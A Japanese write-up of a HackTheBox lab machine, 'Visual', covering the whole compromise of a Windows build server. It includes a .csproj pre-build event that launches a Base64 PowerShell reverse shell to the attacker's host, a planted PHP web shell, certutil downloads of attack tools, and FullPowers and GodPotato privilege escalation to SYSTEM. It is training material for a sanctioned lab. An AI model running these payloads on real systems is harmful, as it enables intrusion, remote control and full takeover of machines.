今回はHackTheBoxのMediumマシン「Visual」のWriteUpです!
名前からVisual Studioなどが連想されますが、どのようなマシンなのでしょうか。
グラフはちゃんとMediumな感じですね。評価も高いです。
攻略目指して頑張ります~!
HackTheBoxって何?という方は下記の記事を見てみてください!一緒にハッキングしましょう〜!
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!
Visual
列挙
それでは、攻略を始めましょう!
まずはポートスキャンから実行します。
+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ sudo nmap -Pn -sVC --min-rate=1000 -v -p- 10.10.11.234
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
|_http-title: Visual - Revolutionizing Visual Studio Builds
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
HTTPのみオープンしていました。
ブラウザでアクセスしてみましょう。
Visual Studioプロジェクトをコンパイルするサイトのようです。やはりVisual Studio関連のマシンでしたね。
Gitのリポジトリを指定することでコンパイルが行われるようです。サイトの下にURLを入力する箇所がありました。
とりあえずKali側にアクセスさせてみましょう。HTTPサーバを起動します。
+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
URL入力箇所にhttp://10.10.14.5:8000
と入力し、Submit
を押下します。
Visual Studioプロジェクトファイル(.sln
)が含まれていないというエラーが表示されました。HTTPサーバも確認してみましょう。
+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.234 - - [] code 404, message File not found
10.10.11.234 - - [] "GET /info/refs?service=git-upload-pack HTTP/1.1" 404 -
リクエストが送信されていますが、リポジトリではないので404を返しています。
Create Git Repo
まだ侵入につながる部分は見えてきませんが、Gitのリポジトリを作成しないと始まらない気がするので、とりあえず作成していきます。Gitのリポジトリを作成する方法は様々ありますが、私はDocker
を使用して、gitea
のインスタンスを起動させることにしました。
まずはdocker pull
でイメージを取得します。
+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ sudo docker pull gitea/gitea:latest
latest: Pulling from gitea/gitea
619be1103602: Pull complete
a3dd1c70fa95: Pull complete
a6162b935ac8: Pull complete
f7e5852aed4d: Pull complete
2332d211dcb6: Pull complete
f04674e4d98c: Pull complete
0d23272325a9: Pull complete
Digest: sha256:0056032dc8c6ab70583e4a105b9ee0dc72dce4f4fbc8022c98bcec46b0273883
Status: Downloaded newer image for gitea/gitea:latest
docker.io/gitea/gitea:latest
イメージの取得に成功したので、docker run
を実行しインスタンスを起動させます。
+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ sudo docker run -p 3000:3000 gitea/gitea
Generating /data/ssh/ssh_host_ed25519_key...
Generating /data/ssh/ssh_host_rsa_key...
Generating /data/ssh/ssh_host_ecdsa_key...
Server listening on :: port 22.
Server listening on 0.0.0.0 port 22.
2024/05/03 02:28:53 cmd/web.go:242:runWeb() [I] Starting Gitea on PID: 17
2024/05/03 02:28:53 cmd/web.go:111:showWebStartupMessage() [I] Gitea version: 1.21.11 built with GNU Make 4.4.1, go1.21.9 : bindata, timetzdata, sqlite, sqlite_unlock_notify
2024/05/03 02:28:53 cmd/web.go:112:showWebStartupMessage() [I] * RunMode: prod
2024/05/03 02:28:53 cmd/web.go:113:showWebStartupMessage() [I] * AppPath: /usr/local/bin/gitea
2024/05/03 02:28:53 cmd/web.go:114:showWebStartupMessage() [I] * WorkPath: /data/gitea
2024/05/03 02:28:53 cmd/web.go:115:showWebStartupMessage() [I] * CustomPath: /data/gitea
2024/05/03 02:28:53 cmd/web.go:116:showWebStartupMessage() [I] * ConfigFile: /data/gitea/conf/app.ini
2024/05/03 02:28:53 cmd/web.go:117:showWebStartupMessage() [I] Prepare to run install page
2024/05/03 02:28:54 cmd/web.go:304:listen() [I] Listen: http://0.0.0.0:3000
2024/05/03 02:28:54 cmd/web.go:308:listen() [I] AppURL(ROOT_URL): http://localhost:3000/
2024/05/03 02:28:54 ...s/graceful/server.go:70:NewServer() [I] Starting new Web server: tcp:0.0.0.0:3000 on PID: 17
3000番で起動させたので、ブラウザでアクセスしてみます。
gitea
のセットアップページが表示されました。ここで初期設定を行います。
大体は初期値のままでいいですが、Administrator Account Settings
で管理者の情報を追加で設定しておきます。
情報が追加で設定できたらInstall Gitea
を押下し、セットアップを完了させます。
このような画面になれば、セットアップ完了です。
Create Visual Studio Project
では続いて、Visual Studioプロジェクトを作成していきます。
Visual Studioを起動し、「新しいプロジェクトの作成」->「C# ターミナルアプリ」を選択します。選択後、名前やフォルダを指定する画面が表示されるので、任意の名前とフォルダを指定して次に進みます。またフレームワークは.NET 6.0
を選択します。
最終的に上の写真のようなコードの画面が表示されれば、プロジェクトの作成は完了です。
選択したフォルダ内を確認すると、.sln
ファイルが作成されていることがわかると思います。
初めに作成されるコードはHello World!
を表示するものです。Visual Studio上から「ビルド(B)」->「ソリューションのビルド(B)」を選択し、ビルドを行いましょう。
12:12 でビルドが開始されました...
1>------ ビルド開始: プロジェクト: SuserTest1, 構成: Debug Any CPU ------
1>SuserTest1 -> C:\SuserTest1\SuserTest1\bin\Debug\net6.0\SuserTest1.dll
========== ビルド: 成功 1、失敗 0、最新の状態 0、スキップ 0 ==========
=========== ビルド は 12:12 で完了し、02.234 秒 掛かりました ==========
成功しました。こうすると、フォルダ内にx64
というフォルダが作成され、exeファイルが格納されます。Windows側でexeファイルを実行してみましょう。
C:\SuserTest1\SuserTest1\bin\Debug\net6.0>.\SuserTest1.exe
Hello, World!
Hello World!
と表示されましたね。では、このプロジェクトをgitea
に移していきます。
まずは、gitea
の右上の「+」ボタンから「New Repository」を押下し、新規リポジトリを作成します。
リポジトリ名に好きな名前を入力し、「Create Repository」を押下します。
上の写真のようにリポジトリが作成されればOKです。
リポジトリができたので、Visual Studioプロジェクトを移していきましょう。そのためにKaliへVisual Studioプロジェクトのフォルダをコピーし、フォルダ内でローカルリポジトリを作成していきます。まずはgit init
を実行します。
+[~/visual/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ git init
Initialized empty Git repository in /home/kali/visual/SuserTest1/.git/
次にブランチを作成し、作成したブランチに切り替えます。
+[~/visual/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ git checkout -b main
Switched to a new branch 'main'
続いて、ファイルやフォルダをローカルリポジトリに追加し、コミットします。
+[~/visual/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ git add .
+[~/visual/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ git commit -m "first commit"
[main (root-commit) 8df1faa] first commit
34 files changed, 341 insertions(+)
create mode 100644 .vs/ProjectEvaluation/susertest1.metadata.v7.bin
create mode 100644 .vs/ProjectEvaluation/susertest1.projects.v7.bin
create mode 100644 .vs/SuserTest1/DesignTimeBuild/.dtbcache.v2
create mode 100644 .vs/SuserTest1/FileContentIndex/d7bf184a-7fcb-426b-afc3-2f39d9549452.vsidx
create mode 100644 .vs/SuserTest1/v17/.futdcache.v2
...
create mode 100644 SuserTest1/obj/SuserTest1.csproj.nuget.g.targets
create mode 100644 SuserTest1/obj/project.assets.json
create mode 100644 SuserTest1/obj/project.nuget.cache
コミットに成功しました。あとはこのローカルリポジトリをgitea
にプッシュするだけです。リモートを追加し、プッシュしましょう。
+[~/visual/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ git remote add origin http://localhost:3000/suser/SuserTest1.git
+[~/visual/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ git push -u origin main
Enumerating objects: 46, done.
Counting objects: 100% (46/46), done.
Delta compression using up to 6 threads
Compressing objects: 100% (41/41), done.
Writing objects: 100% (46/46), 150.26 KiB | 7.51 MiB/s, done.
Total 46 (delta 2), reused 0 (delta 0), pack-reused 0
remote: . Processing 1 references
remote: Processed 1 references in total
To http://localhost:3000/suser/SuserTest1.git
* [new branch] main -> main
branch 'main' set up to track 'origin/main'.
プッシュに成功しました。gitea
でも変更されているか見てみましょう。
プロジェクトを移すことに成功しました!
あとはVisualで正常に処理が動くか確認しましょう。リポジトリを入力する箇所にgitea
のURLを入力し、「Submit」を押下します。処理に少し時間がかかりますが...
ビルドに成功しました!
Pre-build Command Exec
正常系までは持っていけましたが、問題はここからどうやって侵入につなげるのかです。Visual Studioプロジェクトをビルドすることでコマンド実行につながることがあるのか調べていると、興味深い記事を発見しました。
記事によると、ビルドの前と後でイベントを指定することが可能なようです。イベントではコマンドを実行させることができるようなので、この方法を使用してシェルを取得できるかもしれません。
記事によると、プロジェクトファイル(.csproj)に以下を追加するだけでビルド前のイベントを指定できるようです。
<Target Name="PreBuild" BeforeTargets="PreBuildEvent">
<Exec Command="call prebuild.bat" />
</Target>
実際にVisual Studioプロジェクトファイルにコマンド実行のビルド前イベントを指定しましょう。
+[~/visual/SuserTest1/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ cat SuserTest1.csproj
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net6.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<Target Name="PreBuild" BeforeTargets="PreBuildEvent">
<Exec Command="ping 10.10.14.5" />
</Target>
</Project>
変更を加えたので、ローカルリポジトリでコミットします。
+[~/visual/SuserTest1/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ git add .
+[~/visual/SuserTest1/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ git commit -m "Add pre-build event"
[main e56bd51] Add pre-build event
1 file changed, 3 insertions(+)
コミットに成功したら、gitea
へプッシュします。
+[~/visual/SuserTest1/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ git push -u origin main
Enumerating objects: 7, done.
Counting objects: 100% (7/7), done.
Delta compression using up to 6 threads
Compressing objects: 100% (4/4), done.
Writing objects: 100% (4/4), 520 bytes | 520.00 KiB/s, done.
Total 4 (delta 2), reused 0 (delta 0), pack-reused 0
remote: . Processing 1 references
remote: Processed 1 references in total
To http://localhost:3000/suser/SuserTest1.git
8df1faa..e56bd51 main -> main
branch 'main' set up to track 'origin/main'.
プッシュに成功したので、あとはVisualで再度「Submit」を押下するだけです。押下する前に、tcpdump
を実行しping
の待ち受けを作成しましょう。
+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
これで準備は完了です。再度ビルドさせましょう。
通常通り、ビルドに成功しています。待ち受けを確認してみましょう。
+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
23:50:30.145832 IP 10.10.11.234 > 10.10.14.5: ICMP echo request, id 1, seq 1, length 40
23:50:30.145917 IP 10.10.14.5 > 10.10.11.234: ICMP echo reply, id 1, seq 1, length 40
23:50:31.155093 IP 10.10.11.234 > 10.10.14.5: ICMP echo request, id 1, seq 2, length 40
23:50:31.155116 IP 10.10.14.5 > 10.10.11.234: ICMP echo reply, id 1, seq 2, length 40
23:50:32.167900 IP 10.10.11.234 > 10.10.14.5: ICMP echo request, id 1, seq 3, length 40
23:50:32.167944 IP 10.10.14.5 > 10.10.11.234: ICMP echo reply, id 1, seq 3, length 40
23:50:33.179265 IP 10.10.11.234 > 10.10.14.5: ICMP echo request, id 1, seq 4, length 40
23:50:33.179291 IP 10.10.14.5 > 10.10.11.234: ICMP echo reply, id 1, seq 4, length 40
ping
の通信を確認できました!
enox としてのシェル
ビルド前イベントによりコマンドが実行できたことがわかりました。
あとはシェルを取得するだけです。先ほどping
を実行した部分に「PowerShell #3 (Base64)」のリバースシェルを入力します。
+[~/visual/SuserTest1/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ cat SuserTest1.csproj
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net6.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<Target Name="PreBuild" BeforeTargets="PreBuildEvent">
<Exec Command="powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANQAiACwAMgAxADIAMQApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" />
</Target>
</Project>
入力出来たら、先ほどと同じ手順でプッシュまで行います。
+[~/visual/SuserTest1/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ git add .
+[~/visual/SuserTest1/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ git commit -m "Get shell"
+[~/visual/SuserTest1/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ git push -u origin main
シェルの待ち受けも開始しておきましょう。
+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ rlwrap nc -lnvp 2121
listening on [any] 2121 ...
では、再度Visualでビルドを実行させましょう。
タイムアウトになってしまいましたが、シェルを返したことを考えると想定内です。待ち受けを確認してみましょう。
+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ rlwrap nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.234] 49675
PS C:\Windows\Temp\b1aaf2f512698a0dbd2a7aa13ef974\SuserTest1> whoami
visual\enox
シェルの取得に成功しました!
PS C:\Users\enox\Desktop> dir
Directory: C:\Users\enox\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 5/3/2024 7:53 PM 34 user.txt
ユーザフラグも取得できました!
横移動
では、ここから権限昇格を!とwhoami /priv
から始め、色々と列挙しましたが権限昇格に繋がりそうな情報や脆弱性、設定ミスは見つかりませんでした。。
PS C:\Users\enox\Desktop> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
そこで私は、サービスアカウントに複数の特権が付与されていることを期待し、サービスに対して調査の焦点を当てました。
Web Shell
では、どのようなサービスに対して焦点を当てたのかですが、WEBサーバがxampp
で実行されていることがわかっていたので、WEBシェルを作成できるのではないかと考えました。
現に、C:\xampp\htdocs
配下を見ると、見覚えのあるPHPファイルがありました。
PS C:\xampp\htdocs> dir
Directory: C:\xampp\htdocs
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/10/2023 10:32 AM assets
d----- 6/10/2023 10:32 AM css
d----- 6/10/2023 10:32 AM js
d----- 5/3/2024 9:12 PM uploads
-a---- 6/10/2023 6:20 PM 7534 index.php
-a---- 6/10/2023 4:17 PM 1554 submit.php
-a---- 6/10/2023 4:11 PM 4970 vs_status.php
試しに、phpinfo()
を実行するPHPファイルを作成してみましょう。
PS C:\xampp\htdocs> Set-Content -path phpinfo.php -Value '<?php phpinfo(); ?>'
作成できたら、ブラウザからアクセスできるか試します。
phpinfo()
を実行することができました!
同じ要領でWEBシェルを作成できそうなので、作成していきましょう。
PS C:\xampp\htdocs> Set-Content -path shell.php -Value '<?php system($_GET["cmd"]); ?>'
作成できたら、?cmd=whoami
を追加し、ブラウザでアクセスしてみます。
WEBシェルが正常に動作し、whoami
を実行することができました!
local service としてのシェル
ではあとはシェルを取得するだけなので、先ほどと同様に「PowerShell #3 (Base64)」を使用します。実行前に待ち受けを開始しておきましょう。
+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ rlwrap nc -lnvp 2122
listening on [any] 2122 ...
それでは、WEBシェルを使用してコマンドを実行させましょう。実行後、待ち受けを確認すると...
+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ rlwrap nc -lnvp 2122
listening on [any] 2122 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.234] 49676
PS C:\xampp\htdocs> whoami
nt authority\local service
シェルの取得に成功しました!横移動成功です!
権限昇格
それでは、今度こそ権限昇格を行います。まずはwhoami /priv
を実行します。
PS C:\xampp\htdocs> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
サービスアカウントですが、かなり権限が少ないです。これはおそらくサービスを開始する際に権限が剥奪されていることが考えられるので、FullPowers.exe
を使用して権限を取り戻すことができるか試してみます。wget
もしくはcertutil
などを使用してターゲット上にアップロードしてください。
PS C:\Users\Public\Downloads> certutil -urlcache -f http://10.10.14.5:8000/FullPowers.exe FullPowers.exe
**** Online ****
CertUtil: -URLCache command completed successfully.
では、実行してみます。
PS C:\Users\Public\Downloads> .\FullPowers.exe -c "whoami /priv"
[+] Started dummy thread with id 372
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeAuditPrivilege Generate security audits Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
権限を取り戻すことに成功しました!が、毎回FullPowers.exe
を介して、コマンドを実行するのは大変なので、権限を取り戻したシェルを取得しておきましょう。Kali側で再度待ち受けを開始します。
+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ rlwrap nc -lnvp 2123
listening on [any] 2123 ...
そして、FullPowers.exe
を使用しながら、「PowerShell #3 (Base64)」を実行します。
PS C:\Users\Public\Downloads> .\FullPowers.exe -c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANQAiACwAMgAxADIAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
シェルが返ってくるので、権限を確認してみましょう。
+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ rlwrap nc -lnvp 2123
listening on [any] 2123 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.234] 49682
PS C:\Windows\system32> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeAuditPrivilege Generate security audits Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
権限を完全に取り戻すことができました!
GodPotate
権限を見るとSeImpersonatePrivilege
が有効になっていることがわかります。しかし、systeminfo
で確認してみると、OSのバージョンが「Windows Server 2019」であることがわかりました。
PS C:\Windows\system32> systeminfo
Host Name: VISUAL
OS Name: Microsoft Windows Server 2019 Standard
OS Version: 10.0.17763 N/A Build 17763
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
...
このバージョンではJuicyPotate
は使用できませんが、その進化系としてGodPotate
があります。GodPotato
は「Windows Server 2022」までを対象としているため、今回の対象において使用することができそうです。こちらもwget
もしくはcertutil
を使用してターゲット上にアップロードします。
PS C:\Users\Public\Downloads> certutil -urlcache -f http://10.10.14.5:8000/GodPotato-NET4.exe GodPotato-NET4.exe
**** Online ****
CertUtil: -URLCache command completed successfully.
アップロードできたら、GodPotate
を使用してコマンドを実行しましょう。
PS C:\Users\Public\Downloads> .\GodPotato-NET4.exe -cmd "whoami"
[*] CombaseModule: 0x140734596841472
[*] DispatchTable: 0x140734599147632
[*] UseProtseqFunction: 0x140734598523808
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\2f3f3b65-ea01-460d-817d-836b5011b68d\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 0000f802-0798-ffff-c45f-376657b69e73
[*] DCOM obj OXID: 0x3fdb2d109f936486
[*] DCOM obj OID: 0xac73486812a3fc4d
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 888 Token:0x732 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 1968
nt authority\system
system
としてコマンドが実行できています!
system としてのシェル
それでは、シェルを取得してしまいましょう!こちらも同じく「PowerShell #3 (Base64)」を使用します。
PS C:\Users\Public\Downloads> .\GodPotato-NET4.exe -cmd "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANQAiACwAMgAxADIANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
少し時間がかかりますが、待ち受けを確認すると...
+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ rlwrap nc -lnvp 2124
listening on [any] 2124 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.234] 49695
PS C:\Users\Public\Downloads> whoami
nt authority\system
権限昇格に成功しました!
PS C:\Users\Administrator\Desktop> dir
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 5/3/2024 7:53 PM 34 root.txt
フラグも取得し、完全攻略達成です!
攻略を終えて
今回のマシンは全体を通して、かなり勉強になりました。特にVisual Studioプロジェクトのビルドイベントからコマンドを実行できることなんて当然知りませんでしたし、そもそもプロジェクトを作る経験もありませんでした。Windowsにはまだまだ知らないことばかりだなと思いました。。
権限昇格で使用したGodPotate
も存在は知っていましたが、使ったことはなかったので、今回使用できてよかったです。かなり便利だなという印象を受けました。
